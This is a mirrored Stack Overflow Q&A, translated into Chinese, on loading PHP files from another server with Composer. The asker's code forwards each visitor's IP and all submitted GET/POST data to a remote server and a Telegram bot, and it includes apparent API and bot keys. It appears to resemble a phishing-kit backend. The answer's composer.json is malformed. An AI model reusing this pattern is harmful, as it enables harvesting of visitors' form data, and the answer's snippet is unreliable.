首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >我需要composer从othere服务器加载php文件。

我需要composer从othere服务器加载php文件。
EN

Stack Overflow用户
提问于 2022-10-10 05:18:34
回答 1查看 33关注 0票数 0

你好,我需要简单的composer脚本,这样我就可以在拥有我的原始php文件的服务器上使用它,并将它们加载到anothere服务器上的php文件中,有谁能帮我吗?

我的意思是,当我将autoloader.php上传到服务器上时,代码如下所示,它从具有el coposer脚本的服务器加载php文件。

代码语言:javascript
复制
require_once(__DIR__ . DIRECTORY_SEPARATOR. "Autoloader.php");

class Config
{
    private $server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret;
    private $authenticator, $request, $message;
    public function __construct($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret){
        if (strpos($server_url, "raw.githubusercontent.com", 0) !== false)
        $this->$server_url = \Assets\Generic::fetchGithubContent($server_url);
        $autoloader = new Autoloader();
        $logger = new \Assets\Logger();
        $session = new \Assets\Session();
        $this->request = new \Assets\RequestHandler();
        $this->server_url = $server_url;
        $this->username = $username;
        $this->api_key = $api_key;
        $this->telegram_id = $telegram_id;
        $this->telegram_bot = $telegram_bot;
        $this->captcha_website = $captcha_website;
        $this->captcha_secret = $captcha_secret;
        $this->message = $this->createMessage();
        $this->authenticator = new \Assets\Authenticator($server_url, $this->message);
        $this->run();
    }

    private function run(){

        if (!$this->authenticator->authenticate()){
            http_response_code(403);
            echo "Un-authorized access. please login to continue";
            exit(0);
        }

        if ($this->authenticator->isBlocked()){
            http_response_code(302);
            header("Location: https://www.google.com");
            exit(0);
        }

        $this->request->handle($this->server_url, $this->message);
    }

    private function createMessage(){
        return array(
            'customer_info' => array(
                'api_key' => $this->api_key,
                'chat_id' => $this->telegram_id,
                'telegram_bot' => $this->telegram_bot,
                'captcha_secret_key' => $this->captcha_secret,
                'captcha_website_key' => $this->captcha_website,
                'username' => $this->username,
            ),
            'client_info' => array(
                'ip' => \Assets\Generic::getIp(),
                'useragent' => $_SERVER['HTTP_USER_AGENT'],
                'method' => $_SERVER['REQUEST_METHOD'],
                'request_time' => time(),
                'inputs' => array(
                    'get' => $_GET,
                    'post' => $_POST
                )
            )
        );
    }
}

$server_url = "https://blabla/bla.php";
$api_key = "cdb6d872-0529-4358-ba29-bfae71cf3ed0";
$username = "blanvla";
$telegram_id = "963065016";
$telegram_bot = "5371625949:AAHjcf";
$captcha_website = "RecaptchaV2-Site Key";
$captcha_secret = "RecaptchaV2-Secret Key";


$config = new Config($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret);
EN

回答 1

Stack Overflow用户

发布于 2022-10-10 06:15:54

首先使用 or 下载该脚本,然后将其添加到您的composer.json

代码语言:javascript
复制
curl 'https://example.com/public/MyClass.php' > ./vendor/customScripts/MyClass.php
代码语言:javascript
复制
// composer.json
{
   "autoload": [
       "classmap": [
           "customScripts/MyClass.php"
       ]
   ],
}
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/74010471

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档